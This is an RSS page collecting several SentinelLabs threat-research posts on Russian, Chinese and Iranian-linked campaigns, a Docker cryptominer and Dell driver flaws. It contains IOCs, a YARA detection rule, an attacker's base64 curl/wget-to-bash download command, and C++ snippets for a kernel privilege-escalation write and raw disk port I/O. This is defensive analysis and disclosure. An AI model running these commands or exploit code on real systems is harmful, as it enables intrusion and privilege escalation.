RSS Security

🔒
❌ About FreshRSS
There are new articles available, click to refresh the page.
Before yesterdaySentinelLabs

ThunderCats Hack the FSB | Your Taxes Didn’t Pay For This Op

8 June 2021 at 16:00

Key Findings

  • This research focuses on the ‘Mail-O’ malware used against the FSB and other Russian government organizations, detailed in the May 2021 FSB NKTsKI and Rostelecom-Solar report.
  • Early armchair commentary presumed that given the targets, this attack would undoubtedly be the work of a Western government, Five Eyes, or the United States.
  • Our analysis disproves that hypothesis.
  • Instead, we present the argument that the Mail-O malware is a variant of a relatively well-known malware called PhantomNet or SManager used by a threat actor ‘TA428’
  • Previous reporting on TA428 points to Chinese origin and details a history of attacks against South East Asian and Russian targets.

Actor Disambiguation

Related actors: TA428, suspected IronHusky
Related operations: Operation SignSight, Operation LagTimeIT
Related malware: PhantomNet, SManager, TManger, CoughingDown

In May 2021, the Russian Federal Security Service’s National Coordination Center for Computer Incidents (NKTsKI) in coordination with Rostelecom announced that several Russian government institutions had been victims of an APT campaign. While the Russian government has made a similar announcement before, it’s the first time they’ve accompanied it with a moderately detailed technical analysis. Several researchers, myself included, jumped on the opportunity to write our YARA rules and hope for a glimpse at the culprit.

The InfoSec twitterverse needed no such artifacts as blind speculation immediately pointed at a Western government, Five Eyes, or the United States as de facto culprits. I think we’ll be relieved to find out that was most likely not the case – if solely because we’ve come to expect a higher standard for Western malware development.

Initial attempts to find the samples were fruitless but that changed this past weekend as some kind soul (or more likely a bulk autosubmitter) uploaded a copy of the ‘Mail-O’ malware to VirusTotal. We track this activity under the name ‘ThunderCats’.

Technical Analysis

SHA256
603881f4c80e9910ab22f39717e8b296910bff08cd0f25f78d5bff1ae0dce5d7
SHA1
b7c1ec9484c4c2dcd01f861eeaa3b915c3e3312e
MD5
d58b95f8413f784552d7fdadbb621243
Size
2.82 MB
Compilation Timestamp
2019-12-20 02:13:01
First Submitted
2021-06-05 05:22:04

In line with the findings of the NKTsKI-Rostelecom report, the Mail-O malware acts as a downloader with a thin veneer of similarity to the legitimate Mail.ru Disk-O software. The disguise consists of a version number (“19.05.0045”) lifted from a legitimate Disk-O executable and the use of a real Mail.ru to post victim details and host a next stage payload.

The executable is bulked up to 2.8MB by statically linking both libcurl 7.64.1 and OpenSSL. Focus becomes important to avoid going down a pointless rabbithole of reversing unrelated open-source code. For that reason, we should focus primarily on the exported functions.

The Mail-O malware exports two functions, Entery and ServiceMain:

Mail-O malware’s exported functions

Mail-O: ServiceMain

ServiceMain function pseudocode

ServiceMain takes a service name as an argument and attempts to register a service control handler with a specific HandlerProc function meant to check and set the status of that service. With a valid service status handle, Mail-O detaches the calling process from its console, changes the service status values to reflect its current running state, and calls the Entery function. Note the ServiceMain function with the debug string “ServiceMain Load” – a template that comes into play in looking for connections to other malware.

Mail-O: Entery

The Entery function is called at the end of ServiceMain, but it can also be independently invoked. It checks for the presence of ‘%AllUsersProfile%\PSEXESVC.EXE’ and launches it as a process. This function is registered as a top level exception filter.

Mail-O PSEXESVC.exe check function

The main Entery logic is orchestrated in the next function. First, Mail-O checks the registry for an existing install of the legitimate Mail.Ru Disk-O software. It decrypts configuration strings and contacts https://dispatcher.cloud.mail.ru/.

Mail-O uses the SystemTime to POST the encrypted victim hostname (or in its absence the string “[none]”) and receive a payload. The payload is written to a temporary path before being launched. Mail-O then goes into a sleep loop until a predetermined amount of time.

We’ve yet to see ‘Webdav-O’, the other malware component described in the Rostelecom-Solar report. However, that shouldn’t keep us from following an interesting lead.

The ‘Entery’ Connection


Left: TManger sample (NTT Security)
71fe3edbee0c27121386f9c01b723e1cfb416b7af093296bd967bbabdc706393

Right: Mail-O sample:
603881f4c80e9910ab22f39717e8b296910bff08cd0f25f78d5bff1ae0dce5d7

Mail-O exports a function called Entery, presumably a misspelling of ‘Entry’. Misspellings are a true gift for malware researchers. As it turns out, this isn’t the first time that misspelling has been noted in a recently deployed piece of malware.

In December 2020, Ignacio Sanmillan and Matthieu Faou released an excellent report on a Vietnamese supply-chain attack that used PhantomNet (aka SManager) malware. The researchers noted that the malware’s persistence was established via a scheduled task that called the malicious DLL’s export, ‘Entery’. The researchers note that this same export was pointed out by NTT Security in their analysis of TManger malware, which they in turn correlate with Proofpoint’s ‘TA428’ threat actor. That nondescript threat actor name is adopted by Dr. Web in reporting recent attacks against additional Russian targets including research institutes.

While that might all seem a bit convoluted, I rehearse the logical connections to illustrate two points:

  1. There’s an established history of this very non-Western ‘threat actor’ in targeting both Asian and Russian targets.
  2. These presumably Chinese clusters of activity are confusing and difficult to disentangle. Tooling is likely shared among multiple threat actors (likely including PhantomNet/SManager), and what’s being referred to as ‘TA428’ is probably an amalgam of multiple threat groups.

For skeptics, we’ve provided a YARA rule below for the Entery overlap, which entails not just the export function name but also the general layout of the function and some shared strings. Note that the layout has likely developed iteratively from an open-source template.

Finally, while I’m quick to disparage the quality of the malware as not up to some exalted Western standard, it’s important to note that ThunderCats (and the larger TA428 umbrella) are pulling off custom-tailored region-specific supply chain attacks, successfully punching way above their weight in their intelligence collection efforts, and they should not be underestimated as an adversary.

YARA

import "pe"

rule apt_CN_ThunderCats_Overlap
{
	meta:
        desc = "Thundercats Entery Export Overlap"
        author = "JAG-S @ SentinelLabs"
        version = "1.0"
        last_modified = "06.08.2021"
        reference = "https://rt-solar.ru/upload/iblock/b55/Ataki-na-FOIV_otchet-NKTSKI-i-Rostelekom_Solar_otkrytyy.pdf"

	strings:
		$psexesvc = "%AllUsersProfile%\\PSEXESVC.EXE" ascii wide
		$sm_load = "ServiceMain Load" ascii wide fullword
	condition:
		uint16(0) == 0x5a4d
		and
		pe.exports("Entery")
		and
		pe.exports("ServiceMain") 
		and 
		all of them
}

References

https://www.bbc.com/news/world-europe-36933239
https://www.reuters.com/technology/russias-fsb-reports-unprecedented-hacking-campaign-aimed-government-agencies-2021-05-26/
https://rt-solar.ru/analytics/reports/2203/
https://rt-solar.ru/upload/iblock/b55/Ataki-na-FOIV_otchet-NKTSKI-i-Rostelekom_Solar_otkrytyy.pdf
https://st.drweb.com/static/new-www/news/2021/april/drweb_research_attacks_on_russian_research_institutes_en.pdf
https://www.welivesecurity.com/2020/12/17/operation-signsight-supply-chain-attack-southeast-asia/

The post ThunderCats Hack the FSB | Your Taxes Didn’t Pay For This Op appeared first on SentinelLabs.

NobleBaron | New Poisoned Installers Could Be Used In Supply Chain Attacks

1 June 2021 at 17:14

Executive Summary

  • In late May, 2021, Microsoft and Volexity released public reports detailing recent Nobelium activity.
  • Nobelium is suspected to be the new face of APT29 (aka The Dukes). We track this activity under the name ‘NobleBaron’.
  • This campaign employs a convoluted multi-stage infection chain, five to six layers deep.
  • Most custom downloaders leverage Cobalt Strike Beacon in-memory as a mechanism to drop more elusive payloads on select victims.
  • This report focuses on NobleBaron’s ‘DLL_stageless’ downloaders (aka NativeZone)
  • SentinelLabs has discovered the use of one of these DLL_stageless downloaders as part of a poisoned update installer for electronic keys used by the Ukrainian government.
  • At this time, the means of distribution are unknown. It’s possible that these update archives are being used as part of a regionally-specific supply chain attack.
  • We uncovered additional unreported DLL_stageless downloaders.

Overview

After the extensive revelations of Russian state-sponsored cyberespionage activities over the past five years, teams like APT28 (aka FancyBear, STRONTIUM) and APT29 (aka CozyBear, The Dukes) have retooled and reorganized extensively to avoid easy tracking by Western governments and security vendors alike. The operations of ‘APT29’ no longer look anything like they did in the past half decade. At this point our preconceptions about these groups are doing more to cloud our judgment than they elucidate. Perhaps new naming conventions (like ‘NOBELIUM’ or ‘StellarParticle’) will help piece these new clusters of activity apart– all the while upsetting folks who would prefer a simpler threat landscape than the one our reality affords us.

We track this new activity under the name ‘NobleBaron’, building off of the excellent reporting by Microsoft and Volexity. We acknowledge the suspicion that this is a newer iteration of APT29 but share in the general trepidation to equate the two. While the aforementioned companies have done excellent work exposing the inner workings of this activity, we wanted to contribute additional variants we encountered in our follow-on research, including a curious particularly insidious packaging of the ‘NativeZone’ downloader as part of a poisoned installer for a Ukrainian cryptographic smartkey used in government operations.

A Convoluted Infection Chain

As noted by Microsoft, the actor appears to be experimenting with various multi-stage infection chains. Common variations include the method of delivering the ISO containers and a wide variety of custom downloaders enmeshed with Cobalt Strike Beacon. There’s a vague mention of an iOS zero-day being hosted on Nobelium fingerprinting servers but no mention as to whether this entails an iOS payload. That said, we also suspect no company is in a position to monitor iPhone endpoints for these payloads, Apple included.

While the Cobalt Strike Beacon payload is a disappointingly ubiquitous end for such a convoluted infection chain, it’s not in fact the end of that chain. Rather, it serves as an early scout that enables selective distribution of rarer payloads directly into memory where they’re less likely to be detected. A similar technique was employed by HackingTeam’s Remote Control System (RCS) where initial infections used their ‘Scout’ malware for initial recon and could then be selectively upgraded to the full ‘Elite’ payload. After years of burned iterations on custom toolkits, it seems NobleBaron has opted for maximizing return on investment by simply lowering their upfront investment.

Notable TTPs include the following:

  • An increasing depth in multi-layer droppers (a concept briefly described by Steve Miller and worth exploring further) particularly with regard to the inevitable CS Beacon payload.
  • The use of large size files to avoid detection by security solutions with hardcoded size limits for ‘efficiency’.
  • A fishing-with-dynamite approach to collecting initial access to victims with low-cost tooling. The SolarWinds supply chain attack is one such example of starting with a wide victim pool and whittling down to high-value targets.

A Curious Poisoned Installer

SHA256
3b94cc71c325f9068105b9e7d5c9667b1de2bde85b7abc5b29ff649fd54715c4
SHA1
fc781887fd0579044bbf783e6c408eb0eea43485
MD5
66534e53d8751a24a767221fed01268d
Compilation Timestamp
2021-05-18 10:21:20
First Submission
2021-05-18 13:26:14
Size
282KB
Internal Name
KM.FileSystem.dll
File Description
ІІТ Бібліотека роботи з НКІ типу: "файлова система" (Ukrainian)

Most notably, one of these NativeZone downloaders is being used as part of a clever poisoned installer targeting Ukrainian government security applications. A zip file is used to package legitimate components alongside a malicious DLL (KM.Filesystem.dll). The malicious KM.Filesystem.dll was crafted to impersonate a legitimate component of the Ukrainian Institute of Technology’s cryptographic keys of the same name. It even mimics the same two exported functions as the original.

KM.Filesystem.dll exported functions

The package is not an ISO, but it follows a familiar formula. ‘ScanClientUpdate.zip’ relies on a triad of sorts. An LNK is used to kick off the malicious KM.FileSystem.dll component. In turn, KM.FileSystem.dll starts by checking for presence of KM.EkeyAlmaz1C.dll (a benign DLL). This check is presumably meant as an anti-sandbox technique that would keep this downloader from executing unless it’s in the same directory as the other packaged components.

ScanClientUpdate.zip contents

We stop short of referring to this as a supply chain attack since we lack visibility into its means of distribution. The poisoned installer may be delivered directly to relevant victims that rely on this regional solution. Alternatively, the attackers may have found a way of abusing an internal resource to distribute their malicious ‘update’.

LNK starter command to run the malicious DLL

The LNK starter invokes the KMGetInterface export to execute the malware’s functionality. It passes a benign Windows component as an argument (ComputerDefaults.exe). The attackers will use the file’s attributes later on.

Upon execution, the user is presented with a vague ‘Success’ message box.

Note that the heading of the message box is ‘ASKOD’, a reference to the Ukrainian electronic document management system. This initiative is meant to enforce electronic digital signatures through the use of cryptographic keys like the Алмаз-1К (transliterated as ‘Almaz-1K’ or translated to ‘Diamond-1K’) shown below.

Алмаз-1К electronic key description

These particular electronic keys are referenced in Ukrainian government tenders and make for a cunning regional-specific lure to distribute malware.

After displaying the message box, the malicious DLL proceeds to resolve APIs by hash and decrypts its payload directly into memory. You guessed it: Cobalt Strike Beacon v4.

It then decrypts the configuration via single-byte XOR 0x2E and attempts to establish contact with the command-and-control server doggroomingnews[.]com. It checks for ‘/storage/main.woff2’ and if necessary falls back to ‘/storage/page.woff2’. The domain resolves to an IP address in Ukraine (45.135.167.27), which appears to be a compromised domain.

While we have not been able to fetch the response at this time, it’s worth noting that this same IP was also contacted by a Cobalt Strike Beacon sample in late 2020:

5a9c48f49ab8eaf487cf57d45bf755d2e332d60180b80f1f20297b16a61aa984 artifact.exe

These malicious updates are distributed in zip archives. At this time, we’ve discovered two ‘ScanClientUpdate.zip’ samples, both containing the same malicious DLL:

51b47cd3fc139e20c21897a00ac4e3b096380f939633233116514a1f2d9e63d5
ca66b671a75bbee69a4a4d3000b45d5dc7d3891c7ee5891272ccb2c5aed5746c

‘DLL_stageless’ (NativeZone) Variants

NobleBaron developers internally refer to these components under the name ‘DLL_stageless’

DLL_stageless PDB path

The following are variants of DLL_stageless with their respective delivery mechanisms and encrypted command-and-control configuration.

SHA256
2a352380d61e89c89f03f4008044241a38751284995d000c73acf9cad38b989e
SHA1
6114655cf8ddfd115156a1c450ba01e31887fabb
MD5
77605aa6bd6fb890b9b823bd7a3cc78b
Compilation Timestamp
2021-03-15 18:32:47
First Submission
2021-04-01 14:06:27
Size
299.50KB
ITW Name
MsDiskMountService.dll
Malicious Export
DiskDriveIni
C&C
74d6b7b2.app.giftbox4u[.]com
SHA256
776014a63bf3cc7034bd5b6a9c36c75a930b59182fe232535bb7a305e539967b
SHA1
247a32ebee0595605bab77fc6ff619f66740310b
MD5
e55d9f6300fa32458b909fded48ec2c9
Compilation Timestamp
2021-03-22 08:51:41
First Submission
2021-03-22 20:39:52
Size
351.50KB
ITW Name
diassvcs.dll
Malicious Export
InitializeComponent
C&C
content.pcmsar[.]net
SHA256
a4f1f09a2b9bc87de90891da6c0fca28e2f88fd67034648060cef9862af9a3bf
SHA1
19a751ff6c5abd8e209f72add9cd35dd8e3af409
MD5
600aceaddb22b9a1d6ae374ba7fc28c5
Compilation Timestamp
2021-02-17 13:18:24
First Submission
2021-02-25 16:33:09
Size
277KB
ITW Name
GraphicalComponent.dll
Malicious Export
VisualServiceComponent
C&C
139.99.167[.]177

Analyzing GraphicalComponent.dll led to the discovery of another DLL_stageless sample. At this time, we have not discovered the delivery mechanism. The name suggests the possibility of a different poisoned installer, with a focus on the Java SRE runtime.

SHA256
c4ff632696ec6e406388e1d42421b3cd3b5f79dcb2df67e2022d961d5f5a9e78
SHA1
95227f426d8c3f51d4b9a044254e67a75b655d6a
MD5
8ece22e6b6e564e3cbfb190bcbd5d3b9
Compilation Timestamp
2020-10-02 07:51:09
First Submission
2020-12-16 14:48:01
Size
277.50KB
ITW Name
Java_SRE_runtime_update.dll
Malicious Export
CheckUpdteFrameJavaCurrentVersion
C&C
hanproud[.]com

The malicious functionality of this sample is launched via the exported function CheckUpdteFrameJavaCurrentVersion. This particular instance of DLL_stageless doesn’t check for a nearby file or specific directory.

References

https://twitter.com/MalwareRE/status/1398394028127932416
https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/
https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/
https://www.volexity.com/blog/2021/05/27/suspected-apt29-operation-launches-election-fraud-themed-phishing-campaigns/

The post NobleBaron | New Poisoned Installers Could Be Used In Supply Chain Attacks appeared first on SentinelLabs.

From Wiper to Ransomware | The Evolution of Agrius

25 May 2021 at 12:16

Executive Summary

  • A new threat actor SentinelLabs tracks as Agrius was observed operating in Israel starting in 2020.
  • Initially engaged in espionage activity, Agrius deployed a set of destructive wiper attacks against Israeli targets, masquerading the activity as ransomware attacks.
  • The attacks were carried out using DEADWOOD (aka Detbosit), a wiper with unconfirmed links to an Iranian threat group.
  • Agrius actors also dropped a novel wiper named ‘Apostle’ and a custom .NET backdoor called ‘IPsec Helper’.
  • Later intrusions carried out by Agrius revealed they kept maintaining and improving Apostle, turning it into a fully functional ransomware.

Agrius Overview

A new threat actor SentinelLabs track as Agrius was observed operating in Israel beginning in 2020. An analysis of what at first sight appeared to be a ransomware attack revealed new variants of wipers that were deployed in a set of destructive attacks against Israeli targets. The operators behind the attacks intentionally masked their activity as ransomware attacks.

One of the wipers used in the attack, dubbed ‘Apostle’, was later turned into a fully functional ransomware, replacing its wiper functionalities. The message inside it suggests it was used to target a critical, nation-owned facility in the United Arab Emirates. The similarity to its wiper version, as well as the nature of the target in the context of regional disputes, leads us to believe that the operators behind it are utilizing ransomware for its disruptive capabilities.

The usage of ransomware as a disruptive tool is usually hard to prove, as it is difficult to determine a threat actor’s intentions. Analysis of the Apostle malware provides a rare insight into such attacks, drawing a clear line between what began as a wiper malware to a fully operational ransomware.

Based on technical analysis of the tools and attack infrastructure, we assess with medium confidence that the attacks were carried out by a threat group affiliated with Iran. While some links to known Iranian actors were observed, the set of TTPs and tools appear to be unique to this set of activities. SentinelLabs tracks this threat actor as Agrius.

Agrius Attack Life Cycle

The Agrius threat group utilizes VPN services (primarily ProtonVPN) for anonymization when accessing the public facing applications of its targets. Upon successful exploitation, the threat actor deploys webshells or simply accesses the target by using the target organization’s VPN solution. The webshells Agrius deploys are mostly variations of ASPXSpy.

Agrius uses those webshells to tunnel RDP traffic in order to leverage compromised accounts to move laterally. During this phase, the attackers use a variety of publicly available offensive security tools for credential harvesting and lateral movement.

A summary of Agrius attack life cycle

On interesting hosts, the threat actor deploys its own custom malware – ‘IPsec Helper’. This backdoor is written in .NET and appears exclusive to Agrius. The malware registers itself as a service to achieve persistence. It can be used to exfiltrate data or deploy additional malware.

Agrius has deployed two different wipers. The first, dubbed ‘Apostle’, appears to be written by the same developer as ‘IPsec Helper’. Both are written in .NET, share functions, and execute tasks in a similar manner. Interestingly, Apostle was later modified into functioning ransomware. The second wiper, DEADWOOD, was previously involved in a wiping attack in the Middle East  and tentatively attributed to Iran.

Attribution

Throughout our analysis of Agrius techniques, tools, and infrastructure, we found no solid links to any known threat groups. While it is hard to provide a definitive attribution for Agrius, a set of indications pointing the activity towards an Iranian nexus came up throughout the investigation:

  1. Correlation with Iranian interests and past actions
    While this is not a strong link, it is worth noting when correlated with other, technical links. Iranian threat actors have a long history of deploying wipers, dating back to 2012, when Iranian hackers deployed the notorious Shamoon malware against Saudi Aramco. Since then, Iranian threat actors have been caught deploying wiper malware in correlation with the regime’s interests on several occasions.
  2. Webshells VirusTotal submissions
    Some of the webshells deployed by Agrius throughout its intrusions were modified versions of ASPXSpy, deploying additional obfuscation and changing variable names. Three of the variants of this webshell were uploaded from Iran, the rest from other countries within the Middle East region.
    While VirusTotal submissions are not an exact form of determining where a sample was deployed, the sources reinforce a Middle East regional focus.
    Modified Agrius webshells uploaded from Iran (source: VirusTotal)
  3. Infrastructure links to Iran
    The threat actor often used public VPN providers, such as ProtonVPN. On instances where the access was performed from non-VPN nodes, it originated from servers that have also resolved to Iranian domains in the past.
    Agrius infrastructure resolving to Iranian domains (source: PassiveTotal)
  4. The usage of the DEADWOOD wiper
    Agrius utilized the DEADWOOD wiper, which was previously attributed to an Iranian-nexus actor. We cannot independently corroborate previous clustering claims. The ties between Agrius and the threat actor who originally deployed DEADWOOD remain unclear. It’s possible that the two groups have access to shared resources.

Conclusion

Agrius is a new threat group that we assess with medium confidence to be of Iranian origin, engaged in both espionage and disruptive activity. The group leverages its own custom toolset, as well as publicly available offensive security tools, to target a variety of organizations in the Middle East. In some cases, the group leveraged its access to deploy destructive wiper malware, and in others a custom ransomware. Considering this, we find it unlikely that Agrius is a financially motivated threat actor.

Our analysis of Agrius activity does not come in a vacuum. Early May 2021 saw another set of disruptive ransomware attacks attributed to Iran targeting Israel from the n3tw0rm ransomware group, a newly-identified threat actor with links to the 2020 Pay2Key attacks. The close proximity of the Agrius and n3tw0rm campaigns suggest they may be part of a larger, coordinated Iranian strategy. Leaks from Lab Dookhtegan and the Project Signal ransomware operation also support this claim.

While being disruptive and effective, ransomware activities provide deniability, allowing states to send a message without taking direct blame. Similar strategies have been used with devastating effect by other nation-state sponsored actors. The most prominent of those was NotPetya in 2017, a destructive malware targeting Ukraine masked as ransomware and attributed to Russian state-sponsored threat actors by Western intelligence agencies.

Read the Full Report

See the report for the full list of IOCs and further details on Agrius.

Read the Full Report

The post From Wiper to Ransomware | The Evolution of Agrius appeared first on SentinelLabs.

Caught in the Cloud | How a Monero Cryptominer Exploits Docker Containers

20 May 2021 at 16:08

Crypto currencies have become a focal point for cybercriminals, but by far the most popular cryptocurrency to mine among cybercriminals over the last couple of years has been Monero virtual currency (XMR). Over the last year, Monero is up 550% in value and cybercriminals are looking for long lasting Monero mining campaigns to gain huge profits.

Cryptomining malware flies under the radar because many of these unwanted programs do not do anything obviously malicious to infected systems. However, the mining costs are absorbed by the unknowing device owner while cybercriminals reap the rewards.

SentinelLabs recently detected a cryptocurrency mining campaign affecting Docker Linux systems. The Docker software platform has witnessed huge growth among enterprises due to its ability to push out applications in small, resource-frugal containers. This, combined with the fact that many security solutions lack visibility into container images, makes them ideal targets for low-risk, finance-driven campaigns.

The campaign seen by SentinelLabs doesn’t use notable exploit components but rather uses a few simple obfuscation methods. The actors were clearly not expecting to find advanced endpoint protections on Docker containers. As we describe below, the miner calls a few bash scripts and then uses steganography to evade legacy AVs or casual inspection.

Technical Analysis

Our Vigilance team detected a Threat Actor (TA) who initially gained access to a Docker container. The initial sequence began with the threat actor executing a script.

sh -c echo 'aHR0cHM6Ly9pZGVvbmUuY29tL3BsYWluL2JIb0wyVwo='|base64 -d|(xargs curl -fsSL || xargs wget -q -O)|bash

This downloads a shell script from hxxps//ideone[.]com/plain/bHoL2W.

The second-stage downloaded from this URL is another simple shell script.

#!/bin/bash
a=$(base64 -d 

The a variable initially decodes the base64 formatted string aHR0cHM6Ly9pZGVvbmUuY29tL3BsYWluL0diN0JkMgo, which converts to https://ideone[.]com/plain/Gb7Bd2. The decoded URL is then passed to the curl command, which uses -f to fail silently so that there is no error output if there is a server error, -sS to suppress the progress meter but still report an error if the entire command fails, and -L to ensure that redirects are followed. If the command fails using curl, the script switches to wget, a similar command-line utility for downloading files from the web. The -q switch tells wget to operate quietly so no output is sent and -O- to output the fetched document to stdout. The output, whether from curl or wget, is then piped to bash for immediate execution.

That output is a shell script with 174 lines of code. In the following section we will analyze the shell script.

From Shells to Mining

The first 16 lines of the script are plain text script commands, but on lines 17-19 there are patterns of base64 encoding. In line 17 it’s the same base64 encoded string as described in the previous section where the TA initially executed the script. Repeating this command tells me that the TA’s experience in writing malicious scripts is in the beginning stages of this TA’s journey, there are more elegant ways to do this.

In lines 18 and 19, the TA uses a clever trick to bypass detections by downloading a JPEG file. Line 18’s base64 decodes to https://i.ibb[.]co/6PdZ0NT/he.jpg and Line 19’s base64 decodes to https://i.ibb[.]co/phwmnCb/he32.jpg.

The first clue something was unusual was the size of the JPEG, which is 6MB. The first thing is to analyze the jpg by loading it in Cerbero suite and confirm my theory that steganography is being used. Viewing the file contents, we can see that the JPEG file uses a JFIF header identifier, but since I know this malware is intended to run on a Linux system I’m going to search for bytes 454c46 (the ELF magic number) that mark where an ELF binary begins.

Turning back to the shell script, let’s examine how the threat actor extracts and uses the ELF binary found in the image.

We can see that the TA uses the dd command-line utility, whose primary purpose is to convert and copy files. It copies the original JPEG file then outputs the file but skips the JPEG blocks on output with skip=14497 and sets the output block size to Bytes bs=1.

The if statement checks ${ARCH}x = "x86_64x" then looks for ${ARCH}x = "i686x", which uses he_32 and finally runs the command. The next line in the code makes it clear that we are dealing with XMRig.

To confirm, I ran the command

dd if=he_save_jpg of=he_save skip=14497 bs=1

and then loaded the he_save into Ghidra. This showed that the ELF binary extracted from the image was XMRig 6.6.2, built on December 17 2020: one month before the shell scripts appeared in the wild.

Conclusion

The incidence of cryptominers in the enterprise has soared over the last few years as attackers seek low-risk returns from poorly-protected endpoints and cloud container instances. Cryptocurrency mining malware hinders system performance, increases the compute power cost to businesses, and in some cases can be a precursor of further infections.

Docker container protection is critical in fighting cryptomining due to the poor visibility in running container services. SentinelOne XDR detects the above malicious program and many other cryptominer variants on cloud workloads as well as traditional endpoints.

Indicators of Compromise

SHA256
70144c33b1723087f4df98ca2c3aa39a6cc80a9dcee376562e2e65f07b020c9e
5c21586e4fa48a5130d11e43ee332327e1bb76ad45b07d075a5ab350c7981c71
e808760ffb94d970fb9a224c3e1093e5c8999dd736936d6290b28741abc9c81f

SHA1
c7bdffdeb5bee04c0effc6a7bfde64d4fef9e268
423322dd42c5676d8770a94257d4008a57000129
ef1a8802b01d2b39017eb3717fa83cf9db5601a7

URLs
hxxps://ideone[.]com/plain/bHoL2W
hxxps://ideone[.]com/plain/Gb7Bd2
hxxps://i.ibb[.]co/6PdZ0NT/he.jpg
hxxps://i.ibb[.]co/phwmnCb/he32.jpg

The post Caught in the Cloud | How a Monero Cryptominer Exploits Docker Containers appeared first on SentinelLabs.

CVE-2021-21551- Hundreds Of Millions Of Dell Computers At Risk Due to Multiple BIOS Driver Privilege Escalation Flaws

4 May 2021 at 12:55

Executive Summary

  • SentinelLabs has discovered five high severity flaws in Dell’s firmware update driver impacting Dell desktops, laptops, notebooks and tablets.
  • Attackers may exploit these vulnerabilities to locally escalate to kernel-mode privileges.
  • Since 2009, Dell has released hundreds of millions of Windows devices worldwide which contain the vulnerable driver.
  • SentinelLabs findings were proactively reported to Dell on Dec 1, 2020 and are tracked as CVE-2021-21551, marked with CVSS Score 8.8.
  • Dell has released a security update to its customers to address this vulnerability.
  • At this time, SentinelOne has not discovered evidence of in-the-wild abuse.

Introduction

Several months ago, I started investigating the security posture of the firmware update driver version 2.3 (dbutil_2_3.sys) module, which seems to have been in use since at least 2009. Today, the firmware update driver component, which is responsible for Dell Firmware Updates via the Dell Bios Utility, comes pre-installed on most Dell machines running Windows and freshly installed Windows machines that have been updated. Hundreds of millions of Dell devices have updates pushed on a regular basis, for both consumer and enterprise systems.

The driver came to my attention thanks to Process Hacker, which has a great feature that pops up a notification message every time a service gets created or deleted:

This led to the discovery of five high severity bugs that have remained undisclosed for 12 years. These multiple high severity vulnerabilities in Dell software could allow attackers to escalate privileges from a non-administrator user to kernel mode privileges. Over the years, Dell has released BIOS update utilities which contain the vulnerable driver for hundreds of millions of computers (including desktops, laptops, notebooks, and tablets) worldwide.

Dell has assigned one CVE to cover all the flaws in the firmware update driver, but this single CVE can be broken down to the following five separate flaws:

  • CVE-2021-21551: Local Elevation Of Privileges #1 – Memory corruption
  • CVE-2021-21551: Local Elevation Of Privileges #2 – Memory corruption
  • CVE-2021-21551: Local Elevation Of Privileges #3 – Lack of input validation
  • CVE-2021-21551: Local Elevation Of Privileges #4 – Lack of input validation
  • CVE-2021-21551: Denial Of Service – Code logic issue

In today’s post, I will describe some of the general problems with this driver. However, to enable Dell customers the opportunity to remediate this vulnerability, we are withholding sharing our Proof of Concept until June 1, 2021. That proof of concept will demonstrate the first local EOP which arises out of a memory corruption issue.

Technical Details

The first and most immediate problem with the firmware update driver arises out of the fact that it accepts IOCTL (Input/Output Control) requests without any ACL requirements. That means that it can be invoked by a non-privileged user:

2: kd> !devobj ffffae077fb47820
Device object (ffffae077fb47820) is for:
 DBUtil_2_3 \Driver\dbutil DriverObject ffffae0782dbce30
Current Irp 00000000 RefCount 1 Type 00009b0c Flags 00000048
SecurityDescriptor ffffd70bdb4f4160 DevExt ffffae077fb47970 DevObjExt ffffae077fb47a10
ExtensionFlags (0x00000800)  DOE_DEFAULT_SD_PRESENT
Characteristics (0000000000)
Device queue is not busy.
2: kd> !sd ffffd70bdb4f4160 0x1
[truncated]
->Dacl    : ->Ace[0]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[0]: ->AceFlags: 0x0
->Dacl    : ->Ace[0]: ->AceSize: 0x14
->Dacl    : ->Ace[0]: ->Mask : 0x001201bf
->Dacl    : ->Ace[0]: ->SID: S-1-1-0 (Well Known Group: localhost\Everyone)
[truncated]

Allowing any process to communicate with your driver is often a bad practice since drivers operate with the highest of privileges; thus, some IOCTL functions can be abused “by design”.

The firmware update driver exposes many functions via IRP_MJ_DEVICE_CONTROL. The most obvious bug to exploit gives you an extremely powerful primitive. Via IOCTL 0x9B0C1EC8, it is possible to completely control the arguments passed to memmove, thus, allowing an arbitrary read/write vulnerability:

A classic exploitation technique for this vulnerability would be to overwrite the values of Present and Enabled in the Token privilege member inside the EPROCESS of the process whose privileges we want to escalate:

1: kd> dt nt!_SEP_TOKEN_PRIVILEGES
   +0x000 Present          : Uint8B
   +0x008 Enabled          : Uint8B
   +0x010 EnabledByDefault : Uint8B

This can be triggered and exploited quite simply:

struct ioctl_input_params {
	uint64_t padding1;
	uint64_t address;
	uint64_t padding2;
	uint64_t value_to_write;
};

static constexpr uint64_t MASK_TO_WRITE = MAXULONGLONG;

DWORD bytesReturned = 0;

ioctl_input_params privilege_present_params{ 0 };
privilege_present_params.address = presentAddress;
privilege_present_params.value_to_write = MASK_TO_WRITE;

DeviceIoControl(hDevice, EXPLOITABLE_RW_CONTROL_CODE, &privilege_present_params,
	sizeof(privilege_present_params), &privilege_present_params, sizeof(privilege_present_params), &bytesReturned, NULL);

ioctl_input_params privilege_enabled_params{ 0 };
privilege_enabled_params.address = enabledAddress;
privilege_enabled_params.value_to_write = MASK_TO_WRITE;

DeviceIoControl(hDevice, EXPLOITABLE_RW_CONTROL_CODE, &privilege_enabled_params,
	sizeof(privilege_enabled_params), &privilege_enabled_params, sizeof(privilege_enabled_params), &bytesReturned, NULL);

Another interesting vulnerability in this driver is one that makes it possible to run I/O (IN/OUT) instructions in kernel mode with arbitrary operands (LPE #3 and LPE #4). This is less trivial to exploit and might require using various creative techniques to achieve elevation of privileges.

Since IOPL (I/O privilege level) equals to CPL (current privilege level), it is obviously possible to interact with peripheral devices such as the HDD and GPU to either read/write directly to the disk or invoke DMA operations. For example, we could communicate with ATA port IO for directly writing to the disk, then overwrite a binary that is loaded by a privileged process.

The following code illustrates direct read/write using ATA port IO and shows how to invoke those IOCTLs (IN/OUT wrappers are abstracted):

void port_byte_out(unsigned short port, unsigned char payload) {
	unsigned char data[16] = { 0 };
	*((unsigned long *)((unsigned char *)data)) = port;
	*((unsigned char *)((unsigned char *)data + 4)) = payload;
	bResult = DeviceIoControl(hDevice, IOCTL_BYTE_OUT, data, sizeof(data), data, sizeof(data), &junk, NULL);
	if (!bResult) {
		printf("error in port_byte_out: %x\r\n", GetLastError());
	}
}

unsigned char port_byte_in(unsigned short port) {
